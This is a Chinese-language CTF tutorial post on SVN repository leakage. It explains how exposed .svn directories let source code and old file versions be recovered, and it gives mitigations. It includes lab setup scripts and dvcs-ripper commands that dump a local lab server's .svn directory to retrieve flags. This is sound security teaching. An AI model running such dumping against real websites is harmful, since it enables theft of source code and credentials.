【第三天 - SVN 泄漏】

Q1. 什麽是 SVN ?

  • Subversion (简称SVN),与 Git 一样是原始码版本管理软件,但是他与 Git 最大的不同是, SVN 是集中式管理,而 Git 是分散式管理。
  • SVN 会有一个集中管理的服务器 (Server 端),储存所有档案的修改纪录,而开发工程序会通过 Client 端连线到 Server 端,拿到最新版本的档案或提交更新。也有基於 SVN 的商业软件,提供图形化操作,不用使用指令将档案进行更新与提交,例如TortoiseSVN、SnailSVN。

SVN 维基介绍:https://zh.wikipedia.org/wiki/Subversion

SVN 安装介绍:https://blog.hungwin.com.tw/windows-server-svn-server-install/

SVN 命令教学:https://www.runoob.com/svn/svn-intro.html

SVN 与 Git 差异:https://www.twblogs.net/a/5c893efdbd9eee35fc148c46

SVN 与 Git 入门比较:https://codertw.com/程序语言/459573/

SVN 与 Git 指令比较:https://backlog.com/git-tutorial/tw/reference/git-svn.html#sec1

Q2. 为什麽会有 SVN 泄漏?

  • 当工程师在撰写程序时,使用 SVN 来做版本控管,目录底下会自动产生一个 .svn 的隐藏档案,里面会储存程序的修改、新增、删除等纪录
  • 若工程师直接将含有 .svn 目录的专案放到网页服务器的公开目录,骇客便有可能下载 .svn 中的资料,利用 SVN 的机制将原始码重建。
  • 当工程师开发完成时,应该要有两个方法发布较为妥当:
    • 额外将网页程序码制作一个副本 (不含 .svn),再发布到网页服务器。
    • 直接将含 svn 目录的专案放到网页服务器,但同时做好网页的权限控管,也就是当你浏览 /.svn 底下的全部内容时,会回传 403。
  • SVN 与 Git 有一个很大的不同:SVN 属於集中式管理。因此开发者在下载专案时「只会得到当前版本」,并不会下载完整的历史纪录,而如果需要查看历史纪录、回溯过去版本,就必须再连线到 SVN 服务器上下载。
  • 精确的说,本地的 .svn 目录只会 cache 到以下两种情况的原始程序:
    • 「在本地 commit 的版本」
    • 「曾经 update 下来的版本」 (相当於 git pull,也就是从 svn 服务器抓取最新版)
  • 在这两种情况下,你才会在.svn/pristine/XX/XXX.svn-base路径底下看到多个档案。 也因此,骇客将 .svn 下载下来後,由於通常无法连线到组织内部的 SVN 服务器,因而无法随意回溯到过去的任意历史版本中,只能看到当前版本的内容与 ****pristine路径底下的原始码 。

https://ithelp.ithome.com.tw/upload/images/20210917/20140592WxTmkejeHh.png

Q3. SVN 的还原工具?

Q4. SVN 储存资料的位置?

  • .svn/entries 获取到服务器原始码、svn服务器帐号密码等资讯
  • .svn/text-base/XX/XXX.svn-base (旧版本 SVN 路径,会存放原始码档案副本)
  • .svn/pristine/XX/XXX.svn-base (新版本 SVN 路径,会存放原始码档案副本)

https://ithelp.ithome.com.tw/upload/images/20210917/20140592Uc1V14nVKj.png

Q5. SVN 泄漏类型

  1. 一般泄漏:flag 藏在原始码中,可以透过下列步骤抓取 .svn ,重建原始码 (如 Lab 1 实作)
    • 先下载 dvcs-ripper 工具
    • ./dvcs-ripper/rip-svn.pl -v -u <网址/.svn>
      • 使用 dvcs-ripper 工具将 .svn 还原
    • ls -al
      • 查看 dump 下来的资料有哪些资料
    • cat <找到的档案>
      • 看原始程序内容,可能 php 注解了 flag,网页无法显示,但是原始程序码会记录
  2. SVN 回溯:SVN 功能是做版本控制,所以会将程序不断进行修改、commit,所以可能 flag 档案在某个时间被创建出来,但是下一个版本将 flag 档案进行删除、覆盖,此时,我们查看程序原始码 (如 Lab 2 实作)
    • 重复一般泄漏 1 的流程,你将会拿到 svn 最新版本的资料, 里面可能没有我们要的正确 flag
    • tree .svn
      • 查看目前 svn 的结构,在新版本的 SVN 中,pristine 目录底下会存放几个资料夹,资料夹内的 .svn-base会储存过去版本的原始程序
    • cat <.svn/pristine/目录/档案.svn-base>
      • 查看某一档案的原始码

Lab 1

  • lab 1 题目环境制作
# Install apache
sudo apt install apache2 php

# Install SVN
sudo apt install subversion libsvn-dev

# Create Repo
cd ~
svnadmin create svn_2

# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_2

# Take ownership
cd svn_2
sudo chown -R "$(whoami)" .

# Create Flag
echo -e "<?php \n# My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS} \n?>\nYou cannot see the flag" > index.php
svn add index.php
svn commit -m "Add flag"

https://ithelp.ithome.com.tw/upload/images/20210917/20140592qzDjBmcV3W.png

  • lab 1 解题
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592virtMImYRQ.png
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592s5ZBGBna7K.png
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

# Download Tool
git clone https://github.com/kost/dvcs-ripper.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_2/.svn

# Show Flag
cat index.php

https://ithelp.ithome.com.tw/upload/images/20210917/20140592jeZ2eMjMOg.png

https://ithelp.ithome.com.tw/upload/images/20210917/20140592Y9yjnFyHLS.png

Lab 2

  • lab 2 题目环境制作
# Install apache2
sudo apt install apache2 php

# Install SVN
sudo apt install subversion libsvn-dev

# Create Repo
cd ~
svnadmin create svn_1

# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_1

# Take ownership
cd svn_1
sudo chown -R "$(whoami)" .

# Create Flag
echo "My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS}" > index.php
svn add index.php
svn commit -m "Add flag"

# Delete Flag
echo "My flag is disappear :D" > index.php
svn commit -m "Delete flag"

# keep going~
echo "No flag forever ~" > index.php
svn commit -m "Lalala"

2-1

2-2

2-3

2-4

2-5

2-6

  • lab 2 解题
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592TytIBdI6Pm.png
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592HqNnVLzGS0.png
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

# Download Tool
git clone https://github.com/kost/dvcs-ripper.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_1/.svn

# Show Flag
tree .svn
cat .svn/pristine/11/1127bde982aa7d9c569433b988b09e760cbcbdc8.svn-base

https://ithelp.ithome.com.tw/upload/images/20210917/20140592skTSkd6LzB.png


<<:  03 | 认识 WordPress「区块编辑器」的发展和简介

>>:  Day 2— 你的第一次闻GAS

Flutter基础介绍与实作-Day18 FireBase

为了我们之後可以更方便完成我们的App我们要先来学一下FireBase,话不多说我们赶快开始吧! F...

闭包 跟 scope chain

人脑编译器 来一遍1 var a=1; function outerFun(){ let b=2; ...

[Day-29] 小练习-动态进度条

综合过去所学 今天要来练习的是「动态进度条」 废话不多说直接练习吧! 程序码: #include&l...

Microsoft AZ-900 Dumps - The Greatest Shortcut Towards Success

Microsoft AZ-900 exam preparation is tough but you...

Day 06 - Google Map 在地向导也是另一种数位足迹

图片来源 延续上一篇最後提到的老照片, 不知道大家认不认为除了FB开地球(开放所有人浏览)之外, ...